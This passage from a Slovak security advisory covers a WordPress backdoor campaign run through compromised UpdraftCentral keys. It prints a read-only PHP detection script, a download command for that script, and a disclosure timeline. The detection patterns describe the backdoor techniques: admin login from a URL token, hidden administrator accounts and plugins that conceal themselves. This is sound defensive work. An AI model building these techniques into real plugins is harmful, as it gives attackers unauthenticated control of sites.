#30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">[OK]    No active UpdraftCentral connection.\n[WARN]  2026-10-19 00:14 UTC  43.250.53.42  probe for UpdraftCentral (UA: WordPress\/6.4; class-udrpc.php).\n[ALERT] 2026-10-19 02:14 UTC  43.250.53.42  &quot;Command received: plugin.upload_plugin&quot; (UA: WordPress\/6.4; class-udrpc.php). A plugin or theme was pushed to this site.\n[OK]    No backdoor plugin files found.\n[OK]    No backdoor options in the database.\n[OK]    No backdoor accounts or hidden admin-level users.<\/code><\/pre>\n<p>Skript si m\u00f4\u017eete stiahnu\u0165 aj priamo:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">curl -o check-updraftcentral.php https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/check-updraftcentral.txt<\/code><\/pre>\n<p>SHA-256 skriptu: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">cedb723aeed2d56c942a33a26d9ee3390c3ad02f1cfddd098cfbc8d5ea7dd935<\/code>. Cel\u00fd k\u00f3d:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/**\n * Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.\n * Read-only. It changes nothing on the site.\n * v2: also detects the second variant, which creates a hidden administrator.\n * v3: catches its renamed samples by code and by &lt;slug&gt;_uid \/ &lt;slug&gt;_installed options, and checks wp-content\/upgrade.\n * v4: also detects the minimal variant: a token written into the code, compared with a URL parameter, then a login.\n * v5: warns about any plugin that logs visitors in from a URL parameter; @example.com accounts without\n *     admin rights that existed before the attack (e.g. shop customers) are a warning, not an alert.\n * v6: also finds first-variant options whose plugin name has no hex suffix (e.g. query_shelf_sync_token).\n * v7: says so when there is no UpdraftCentral log at all (e.g. UpdraftPlus was removed) instead of reporting it as clean.\n * v8: warns about plugins that hide themselves from the WordPress plugin list.\n * v9: also reports UpdraftPlus Migrator keys, which let another site send backup files over the same channel.\n * v10: warns when UpdraftPlus Premium keeps the teamupdraft.com account password in the database.\n *\n * Run in the WordPress root directory:\n *   wp eval-file check-updraftcentral.php --skip-plugins --skip-themes\n *\n * --skip-plugins matters: an installed copy of the backdoor crashes every request,\n * including WP-CLI, unless plugins are skipped.\n *\/\n\n$alerts = 0;\n$warnings = 0;\n$report = function ( $level, $message ) use ( &amp;$alerts, &amp;$warnings ) {\n\tif ( &#39;ALERT&#39; === $level ) $alerts++;\n\tif ( &#39;WARN&#39; === $level ) $warnings++;\n\techo str_pad( &quot;[$level]&quot;, 8 ), $message, &quot;\\n&quot;;\n};\n\necho &quot;UpdraftCentral backdoor check for &quot;, get_option( &#39;siteurl&#39; ), &quot;\\n\\n&quot;;\n\n\/\/ 1. Is the site connected to UpdraftCentral?\n$keys = get_option( &#39;updraft_central_localkeys&#39; );\nif ( is_array( $keys ) &amp;&amp; $keys ) {\n\tforeach ( $keys as $id =&gt; $key ) {\n\t\t$report( &#39;WARN&#39;, sprintf(\n\t\t\t&#39;UpdraftCentral connection is active: key %s, created %s by user &quot;%s&quot;. Delete it now.&#39;,\n\t\t\t$id,\n\t\t\tisset( $key[&#39;created&#39;] ) ? gmdate( &#39;Y-m-d&#39;, $key[&#39;created&#39;] ) : &#39;?&#39;,\n\t\t\tisset( $key[&#39;extra_info&#39;][&#39;user_login&#39;] ) ? $key[&#39;extra_info&#39;][&#39;user_login&#39;] : &#39;?&#39;\n\t\t) );\n\t}\n} else {\n\t$report( &#39;OK&#39;, &#39;No active UpdraftCentral connection.&#39; );\n}\n\/\/ UpdraftPlus Premium may keep the teamupdraft.com account password as entered until token login succeeds.\n$addons = get_option( &#39;updraftplus-addons_options&#39; );\nif ( ! is_array( $addons ) &amp;&amp; is_multisite() ) $addons = get_site_option( &#39;updraftplus-addons_options&#39; );\nif ( is_array( $addons ) &amp;&amp; ! empty( $addons[&#39;password&#39;] ) ) {\n\t$report( &#39;WARN&#39;, &#39;UpdraftPlus keeps the teamupdraft.com account password for &#39; . ( isset( $addons[&#39;email&#39;] ) ? $addons[&#39;email&#39;] : &#39;?&#39; ) . &#39; in the database (option updraftplus-addons_options). Remove it and change the password if any foreign code may have run on this site.&#39; );\n}\n\/\/ Migrator keys use the same UDRPC channel to receive backup files from another site.\n$migrator_keys = get_option( &#39;updraft_migrator_localkeys&#39; );\nforeach ( is_array( $migrator_keys ) ? $migrator_keys : array() as $hash =&gt; $key ) {\n\t$report( &#39;WARN&#39;, sprintf(\n\t\t&#39;UpdraftPlus Migrator key &quot;%s&quot; is active: another site can send backup files here with it. Delete it unless you are migrating right now.&#39;,\n\t\tisset( $key[&#39;name&#39;] ) ? $key[&#39;name&#39;] : $hash\n\t) );\n}\n\n\/\/ 2. What the site received over UpdraftCentral.\n$log = get_site_option( &#39;updraftcentral_client_log&#39; );\n$log_hits = 0;\nforeach ( is_array( $log ) ? $log : array() as $entry ) {\n\t$message = isset( $entry[&#39;message&#39;] ) ? $entry[&#39;message&#39;] : &#39;&#39;;\n\t$agent   = isset( $entry[&#39;http_user_agent&#39;] ) ? $entry[&#39;http_user_agent&#39;] : &#39;&#39;;\n\t$when    = isset( $entry[&#39;time&#39;] ) ? gmdate( &#39;Y-m-d H:i&#39;, $entry[&#39;time&#39;] ) . &#39; UTC&#39; : &#39;?&#39;;\n\t$ip      = isset( $entry[&#39;remote_ip&#39;] ) ? $entry[&#39;remote_ip&#39;] : &#39;?&#39;;\n\tif ( preg_match( &#39;\/upload_(plugin|theme)\/&#39;, $message ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; (UA: $agent). A plugin or theme was pushed to this site.&quot; );\n\t\t$log_hits++;\n\t} elseif ( false !== strpos( $message, &#39;probe.central.updraftplus.com&#39; ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;$when  $ip  probe for UpdraftCentral (UA: $agent).&quot; );\n\t\t$log_hits++;\n\t} elseif ( &#39;Command received&#39; === substr( $message, 0, 16 ) &amp;&amp; preg_match( &#39;\/class-udrpc\\.php$\/&#39;, $agent ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;$when  $ip  \\&quot;$message\\&quot; from a client that is not UpdraftCentral Cloud (UA: $agent).&quot; );\n\t\t$log_hits++;\n\t}\n}\nif ( ! is_array( $log ) || ! $log ) {\n\t$report( &#39;INFO&#39;, &#39;There is no UpdraftCentral log on this site (no command ever arrived, or UpdraftPlus was removed). Check the access log for POST requests with the User-Agent &quot;WordPress\/6.4; class-udrpc.php&quot;.&#39; );\n} elseif ( ! $log_hits ) {\n\t$report( &#39;OK&#39;, &#39;UpdraftCentral log shows no plugin uploads, probes or foreign clients.&#39; );\n}\n\n\/\/ 3. Backdoor plugins in plugins and mu-plugins, plus leftovers of pushed plugins in wp-content\/upgrade\n\/\/ (a push that failed to install still leaves the unpacked plugin there).\n$is_backdoor = function ( $code ) {\n\treturn false !== strpos( $code, &#39;keeps option storage tidy&#39; )\n\t\t|| false !== strpos( $code, &#39;Improves cron tasks efficiency&#39; )\n\t\t|| false !== strpos( $code, &#39;keep service accounts out of the main user list&#39; )\n\t\t|| ( false !== strpos( $code, &quot;_sync_token&#39;&quot; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) &amp;&amp; false !== strpos( $code, &#39;hash_equals&#39; ) )\n\t\t|| ( false !== strpos( $code, &#39;pre_user_query&#39; ) &amp;&amp; false !== strpos( $code, &#39;pre_count_users&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) )\n\t\t|| ( preg_match( &#39;\/hash_equals\\(\\s*[\\&#39;&quot;][A-Za-z0-9_-]{20,}[\\&#39;&quot;]\/&#39;, $code ) &amp;&amp; false !== strpos( $code, &#39;$_GET&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; ) );\n};\n\/\/ Any plugin that logs visitors in based on a URL parameter, however it compares the key (older backdoors use ===).\n$logs_in_from_url = function ( $code ) {\n\treturn false !== strpos( $code, &#39;$_GET&#39; ) &amp;&amp; false !== strpos( $code, &#39;wp_set_auth_cookie&#39; );\n};\n\/\/ A plugin that removes itself from the WordPress plugin list, as Site Health Cache and doctor-connectivity-query do.\n$hides_itself = function ( $code ) {\n\treturn preg_match( &#39;\/add_filter\\(\\s*[\\&#39;&quot;]all_plugins[\\&#39;&quot;]\/&#39;, $code )\n\t\t&amp;&amp; preg_match( &#39;\/plugin_basename\\(\\s*__FILE__\\s*\\)\/&#39;, $code )\n\t\t&amp;&amp; preg_match( &#39;\/unset\\(\\s*\\$\\w+\\[\\s*\\$\\w+\\s*\\]\\s*\\)\/&#39;, $code );\n};\n$plugin_hits = 0;\n$files = array_merge(\n\t(array) glob( WP_PLUGIN_DIR . &#39;\/*\/*.php&#39; ),\n\t(array) glob( WPMU_PLUGIN_DIR . &#39;\/*.php&#39; ),\n\t(array) glob( WP_CONTENT_DIR . &#39;\/upgrade\/*\/*.php&#39; ),\n\t(array) glob( WP_CONTENT_DIR . &#39;\/upgrade\/*\/*\/*.php&#39; )\n);\nforeach ( $files as $file ) {\n\t$code = (string) @file_get_contents( $file, false, null, 0, 200000 );\n\t$where = 0 === strpos( $file, WP_CONTENT_DIR . &#39;\/upgrade\/&#39; ) ? &#39; (left in wp-content\/upgrade by a pushed plugin; the install may have failed)&#39; : &#39;&#39;;\n\tif ( $is_backdoor( $code ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;Backdoor plugin file: $file$where&quot; . ( $hides_itself( $code ) ? &#39; It hides itself from the plugin list.&#39; : &#39;&#39; ) );\n\t\t$plugin_hits++;\n\t} elseif ( $logs_in_from_url( $code ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Plugin logs visitors in based on a URL parameter: $file$where. Make sure you know it.&quot; . ( $hides_itself( $code ) ? &#39; It also hides itself from the plugin list.&#39; : &#39;&#39; ) );\n\t\t$plugin_hits++;\n\t} elseif ( $hides_itself( $code ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Plugin hides itself from the WordPress plugin list: $file$where. Some management plugins (e.g. MainWP Child) can do this on purpose; make sure you know it.&quot; );\n\t\t$plugin_hits++;\n\t}\n}\nif ( ! $plugin_hits ) $report( &#39;OK&#39;, &#39;No backdoor plugin files found.&#39; );\n\n\/\/ 4. Options the backdoor leaves behind.\nglobal $wpdb;\n$option_hits = 0;\n\/\/ First variant: most plugin names end in three hex characters, but not all (query-shelf), so a name\n\/\/ without them counts only when its plugin is gone or is the backdoor itself.\nforeach ( $wpdb-&gt;get_col( &quot;SELECT option_name FROM {$wpdb-&gt;options} WHERE option_name REGEXP &#39;^[a-z]+_[a-z]+(_[0-9a-f]{3})?_(sync_token|setup_stamp)$&#39;&quot; ) as $name ) {\n\t$slug = str_replace( &#39;_&#39;, &#39;-&#39;, preg_replace( &#39;\/_(sync_token|setup_stamp)$\/&#39;, &#39;&#39;, $name ) );\n\t$main = WP_PLUGIN_DIR . &quot;\/$slug\/$slug.php&quot;;\n\tif ( is_file( $main ) &amp;&amp; ! $is_backdoor( (string) @file_get_contents( $main, false, null, 0, 200000 ) ) ) continue;\n\t$report( &#39;ALERT&#39;, &quot;Backdoor option in the database: $name&quot; );\n\t$option_hits++;\n}\n\/\/ The working variant stores &lt;slug&gt;_installed and the ID of its hidden administrator in &lt;slug&gt;_uid.\n\/\/ Plugin names vary, so match the suffix and look at the plugin with the same slug.\nforeach ( $wpdb-&gt;get_results( &quot;SELECT option_name, option_value FROM {$wpdb-&gt;options} WHERE option_name LIKE &#39;%\\\\_uid&#39; OR option_name LIKE &#39;%\\\\_installed&#39;&quot; ) as $o ) {\n\t$is_uid = &#39;_uid&#39; === substr( $o-&gt;option_name, -4 );\n\t$slug = str_replace( &#39;_&#39;, &#39;-&#39;, substr( $o-&gt;option_name, 0, $is_uid ? -4 : -10 ) );\n\t$main = WP_PLUGIN_DIR . &quot;\/$slug\/$slug.php&quot;;\n\t$code = is_file( $main ) ? (string) @file_get_contents( $main, false, null, 0, 200000 ) : &#39;&#39;;\n\t$u = ( $is_uid &amp;&amp; ctype_digit( (string) $o-&gt;option_value ) ) ? $wpdb-&gt;get_row( $wpdb-&gt;prepare( &quot;SELECT user_login, user_email FROM {$wpdb-&gt;users} WHERE ID = %d&quot;, $o-&gt;option_value ) ) : null;\n\t$who = $u ? &quot; (user {$u-&gt;user_login} &lt;{$u-&gt;user_email}&gt;)&quot; : &#39;&#39;;\n\tif ( ( $u &amp;&amp; preg_match( &#39;\/@example\\.(com|org)$\/&#39;, $u-&gt;user_email ) ) || ( $code &amp;&amp; ( $is_backdoor( $code ) || $logs_in_from_url( $code ) ) ) ) {\n\t\t$report( &#39;ALERT&#39;, &quot;Backdoor option in the database: {$o-&gt;option_name} = {$o-&gt;option_value}$who&quot; );\n\t\t$option_hits++;\n\t} elseif ( $is_uid &amp;&amp; $u &amp;&amp; ! is_dir( WP_PLUGIN_DIR . &quot;\/$slug&quot; ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Option {$o-&gt;option_name} points to an account, but plugin $slug is gone$who. Make sure you know this account.&quot; );\n\t\t$option_hits++;\n\t}\n}\nif ( ! $option_hits ) $report( &#39;OK&#39;, &#39;No backdoor options in the database.&#39; );\n\n\/\/ 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.\n\/\/ Read users straight from the table: the second variant tries to hide its account from get_users() and user counts.\n$user_hits = 0;\n$cap_key = $wpdb-&gt;get_blog_prefix() . &#39;capabilities&#39;;\n$flagged = array();\nforeach ( $wpdb-&gt;get_results( &quot;SELECT ID, user_login, user_email, display_name, user_registered FROM {$wpdb-&gt;users} WHERE user_email LIKE &#39;%@example.org&#39; OR user_email LIKE &#39;%@example.com&#39; OR display_name IN (&#39;Site Tools&#39;, &#39;System Team&#39;, &#39;Web Tech&#39;, &#39;System Staff&#39;, &#39;System Ops&#39;, &#39;Cms Tech&#39;)&quot; ) as $user ) {\n\t\/\/ Bots also register shop customers at @example.com, so only admin-level or recent accounts are an alert.\n\t$caps = (array) get_user_meta( $user-&gt;ID, $cap_key, true );\n\t$admin_level = ! empty( $caps[&#39;administrator&#39;] ) || ! empty( $caps[&#39;manage_options&#39;] ) || ! empty( $caps[&#39;install_plugins&#39;] );\n\tif ( $admin_level || $user-&gt;user_registered &gt;= &#39;2026-10-17&#39; ) {\n\t\t$report( &#39;ALERT&#39;, &quot;Backdoor-style account: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt; \\&quot;{$user-&gt;display_name}\\&quot;, registered {$user-&gt;user_registered}&quot; . ( $admin_level ? &#39;, with admin-level rights&#39; : &#39;&#39; ) );\n\t} else {\n\t\t$report( &#39;WARN&#39;, &quot;Account {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt; \\&quot;{$user-&gt;display_name}\\&quot; matches the backdoor pattern but has no admin-level rights and was registered on {$user-&gt;user_registered}. Probably unrelated; make sure you know it.&quot; );\n\t}\n\t$flagged[ $user-&gt;ID ] = true;\n\t$user_hits++;\n}\nforeach ( $wpdb-&gt;get_results( $wpdb-&gt;prepare( &quot;SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb-&gt;users} u JOIN {$wpdb-&gt;usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered &gt;= &#39;2026-10-17&#39; AND m.meta_value LIKE %s&quot;, $cap_key, &#39;%administrator%&#39; ) ) as $user ) {\n\tif ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n\t$report( &#39;WARN&#39;, &quot;Administrator created on {$user-&gt;user_registered}: {$user-&gt;user_login} &lt;{$user-&gt;user_email}&gt;. Make sure you know this account.&quot; );\n\t$user_hits++;\n}\nforeach ( get_users( array( &#39;fields&#39; =&gt; array( &#39;ID&#39;, &#39;user_login&#39;, &#39;user_email&#39;, &#39;display_name&#39; ) ) ) as $user ) {\n\tif ( isset( $flagged[ $user-&gt;ID ] ) ) continue;\n\t$caps = (array) get_user_meta( $user-&gt;ID, $cap_key, true );\n\t$extra = array_intersect( array( &#39;manage_options&#39;, &#39;install_plugins&#39; ), array_keys( array_filter( $caps ) ) );\n\tif ( $extra &amp;&amp; empty( $caps[&#39;administrator&#39;] ) ) {\n\t\t$report( &#39;WARN&#39;, &quot;Non-administrator {$user-&gt;user_login} has extra capabilities: &quot; . implode( &#39;, &#39;, $extra ) );\n\t\t$user_hits++;\n\t}\n}\nif ( ! $user_hits ) $report( &#39;OK&#39;, &#39;No backdoor accounts or hidden admin-level users.&#39; );\n\necho &quot;\\n&quot;;\nif ( $alerts ) {\n\techo &quot;RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\\n&quot;;\n} elseif ( $warnings ) {\n\techo &quot;RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\\n&quot;;\n} else {\n\techo &quot;RESULT: no traces found.\\n&quot;;\n}<\/code><\/pre>\n<h2 id=\"pre\u010do-zverej\u0148ujeme-hne\u010f\">Pre\u010do zverej\u0148ujeme hne\u010f<\/h2>\n<p>Responsible disclosure znamen\u00e1 da\u0165 v\u00fdrobcovi \u010das na opravu a zverejni\u0165 podrobnosti a\u017e potom. Tu \u017eia\u013e na to nie je d\u00f4vod. \u00dato\u010dn\u00edk backdoory do in\u0161tal\u00e1ci\u00ed WordPressu u\u017e akt\u00edvne \u0161\u00edri a oprava od v\u00fdrobcu majite\u013eom webov nepom\u00f4\u017ee, k\u00fdm m\u00e1 \u00fato\u010dn\u00edk platn\u00e9 k\u013e\u00fa\u010de. Jedin\u00e1 \u00fa\u010dinn\u00e1 ochrana je zru\u0161i\u0165 spojenie s UpdraftCentral a web skontrolova\u0165, a to m\u00f4\u017ee urobi\u0165 ka\u017ed\u00fd spr\u00e1vca hne\u010f.<\/p>\n<p>Zverejnenie \u00fato\u010dn\u00edkovi nepom\u00f4\u017ee. Na \u00fatok potrebuje platn\u00e9 k\u013e\u00fa\u010de, ktor\u00e9 u\u017e m\u00e1, a ni\u010d v tomto \u010dl\u00e1nku mu ned\u00e1va nov\u00fd sp\u00f4sob \u00fatoku. Obrancom naopak d\u00e1va postup, ako sa chr\u00e1ni\u0165. Backdoor navy\u0161e vyr\u00e1ba gener\u00e1tor, ktor\u00fd pre ka\u017ed\u00fd web vytvor\u00ed in\u00e9 men\u00e1, tokeny a hesl\u00e1, \u010do nazna\u010duje n\u00e1stroj ur\u010den\u00fd na ve\u013ek\u00fd po\u010det webov. Ka\u017ed\u00e1 hodina \u010dakania d\u00e1va \u00fato\u010dn\u00edkovi \u010das na \u010fal\u0161ie weby.<\/p>\n<h2 id=\"komunik\u00e1cia-s-v\u00fdrobcom-a-bezpe\u010dnostn\u00fdmi-firmami\">Komunik\u00e1cia s v\u00fdrobcom a bezpe\u010dnostn\u00fdmi firmami<\/h2>\n<ul>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: hl\u00e1senie TeamUpdraft cez formul\u00e1r pr\u00e9miovej podpory s logmi a anal\u00fdzou pre web A<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: doplnenie o \u00fatoky na weby B a C, druh\u00fa vzorku a porovnanie User-Agent so skuto\u010dn\u00fdm dashboardom<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: informovali sme Wordfence a Patchstack, aby mohli prida\u0165 detekciu a varova\u0165 \u010fal\u0161\u00edch spr\u00e1vcov<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft zverejnil <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">vyjadrenie k bezpe\u010dnostn\u00e9mu incidentu<\/a> a potvrdil \u00fanik z\u00e1kazn\u00edckej datab\u00e1zy vr\u00e1tane k\u013e\u00fa\u010dov UpdraftCentral<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft n\u00e1m v odpovedi na hl\u00e1senie potvrdil, \u017ee na z\u00e1klade neho pova\u017euje k\u013e\u00fa\u010de UpdraftCentral za kompromitovan\u00e9, a v\u0161etk\u00fdch z\u00e1kazn\u00edkov UpdraftCentral \u017eiada odpoji\u0165 a skontrolova\u0165 ka\u017ed\u00fd web. N\u00fadzov\u00e1 verzia UpdraftPlus k uz\u00e1vierke e\u0161te nevy\u0161la (posledn\u00e1 je 1.26.11 zo 16. 10.).<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Patchstack zverejnil <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">vlastn\u00fa anal\u00fdzu<\/a> a potvrdil obe IP adresy \u00fato\u010dn\u00edka. Wordfence aj Patchstack si vy\u017eiadali vzorky.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence a Patchstacku sme poslali vzorky z na\u0161ich webov a nesk\u00f4r aj indik\u00e1tory funk\u010dn\u00e9ho variantu, ktor\u00e9 n\u00e1m poskytol \u010fal\u0161\u00ed spr\u00e1vca.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence a Patchstacku sme so s\u00fahlasom \u010fal\u0161\u00edch dvoch postihnut\u00fdch spr\u00e1vcov poslali ich vzorky vr\u00e1tane minim\u00e1lneho tretieho variantu a z\u00e1znamy o v\u00fdmene backdooru.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft odpovedal na na\u0161e dopl\u0148uj\u00face ot\u00e1zky. \u00dato\u010dn\u00edk mal pr\u00edstup na teamupdraft.com od ve\u010dera soboty 17. 10., podozriv\u00fa aktivitu v\u00fdrobca zistil v nede\u013eu 18. 10. ve\u010der a \u00fanik potvrdil okolo 20:00 BST. Pr\u00edstup zablokoval, odhl\u00e1sil v\u0161etky \u00fa\u010dty a za\u010dal meni\u0165 k\u013e\u00fa\u010de a pr\u00edstupov\u00e9 \u00fadaje. Tajomstv\u00e1 pre TOTP sa pod\u013ea v\u00fdrobcu nedaj\u00fa ulo\u017ei\u0165 ako hash, preto pri \u00faniku datab\u00e1zy treba po\u010d\u00edta\u0165 aj s nimi. Ako n\u00fadzov\u00fa verziu uviedol 2.26.12, ktor\u00e1 v\u0161ak k\u013e\u00fa\u010de nezma\u017ee (pozri vy\u0161\u0161ie). \u010ci zverejn\u00ed indik\u00e1tory kompromit\u00e1cie, zatia\u013e nevie.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: upozornili sme TeamUpdraft, \u017ee verzia 2.26.12 k\u013e\u00fa\u010de nezma\u017ee a \u017ee hranica 18. 10. 12:07 UTC vo verzii 1.26.13 nezodpoved\u00e1 ich vyhl\u00e1seniu, a sp\u00fdtali sme sa na dostupnos\u0165 2.26.13 pre pr\u00e9miov\u00fdch z\u00e1kazn\u00edkov.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence a Patchstack sme informovali, \u017ee verzia 2.26.12 k\u013e\u00fa\u010de nezma\u017ee, o predvolene za\u0161krtnutom pol\u00ed\u010dku \u201eAdd this website to UpdraftCentral\u201c a o \u010fal\u0161ej vzorke prv\u00e9ho variantu.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence a Patchstacku sme so s\u00fahlasom \u010fal\u0161ieho spr\u00e1vcu poslali tri vzorky z jedn\u00e9ho webu vr\u00e1tane minim\u00e1lneho variantu, ktor\u00fd sa skr\u00fdva zo zoznamu pluginov.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"19\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence zverejnil <a href=\"https:\/\/www.wordfence.com\/blog\/2026\/10\/updraftcentral-connection-key-compromise\/\">vlastn\u00e9 upozornenie<\/a>, v ktorom cituje n\u00e1\u0161 rozbor, a vydal pravidlo firewallu aj pre bezplatn\u00fa verziu. Pravidlo ani upozornenie zatia\u013e nepo\u010d\u00edtaj\u00fa s t\u00fdm, \u017ee 1.26.12 \/ 2.26.12 k\u013e\u00fa\u010de nezma\u017ee.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence sme upozornili, \u017ee ich pravidlo nekryje verzie 1.26.12 \/ 2.26.12, ktor\u00e9 k\u013e\u00fa\u010de nezma\u017e\u00fa, a \u017ee hranica revok\u00e1cie je 12:07 UTC. Wordfence aj Patchstack dostali indik\u00e1tory dne\u0161n\u00fdch pokusov o pou\u017eitie backdoorov.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: Wordfence a Patchstacku sme so s\u00fahlasom \u010fal\u0161\u00edch troch spr\u00e1vcov poslali dvan\u00e1s\u0165 vzoriek vr\u00e1tane druhej k\u00f3pie skryt\u00e9ho minim\u00e1lneho variantu.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"20\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft doplnil do <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">vyhl\u00e1senia<\/a>, \u017ee verzia 1.26.13 \/ 2.26.13 vydan\u00e1 19. 10. kr\u00e1tko po 22:00 BST zru\u0161ila k\u013e\u00fa\u010de UpdraftCentral a neopr\u00e1vnen\u00fd pr\u00edstup bol ukon\u010den\u00fd. V n\u00e1vode v\u0161ak st\u00e1le odpor\u00fa\u010da 1.26.12 \/ 2.26.12. Na ot\u00e1zku, ktor\u00fa verziu aktualizova\u0165, n\u00e1m v\u00fdrobca odpovedal odkazom na toto vyhl\u00e1senie.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"21\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft sme upozornili, \u017ee \u00fato\u010dn\u00edk aj 21. 10. r\u00e1no posielal pr\u00edkazy UpdraftCentral, \u017ee ich n\u00e1vod st\u00e1le uv\u00e1dza 1.26.12 \/ 2.26.12 a \u017ee pr\u00e9miov\u00e1 verzia m\u00f4\u017ee ma\u0165 heslo k \u00fa\u010dtu teamupdraft.com ulo\u017een\u00e9 v datab\u00e1ze. V\u00fdrobca n\u00e1m medzit\u00fdm odp\u00edsal, \u017ee n\u00e1\u0161 \u010dl\u00e1nok odovzdal v\u00fdvoj\u00e1rom.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<\/li>\n<li>\n<ol start=\"21\" type=\"1\">\n<li>\n<ol start=\"10\" type=\"1\">\n<li>2026: TeamUpdraft v <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">aktualiz\u00e1ci\u00e1ch vyhl\u00e1senia<\/a> uviedol, \u017ee \u00fato\u010dn\u00edk sa na teamupdraft.com dostal pomocou kompromitovan\u00e9ho k\u013e\u00fa\u010da, \u017ee v\u00fdrobca prizval extern\u00fa bezpe\u010dnostn\u00fa firmu a kontaktoval pol\u00edciu a \u017ee WordPress.org verziu 1.26.13 rozoslal v\u0161etk\u00fdm webom automaticky. 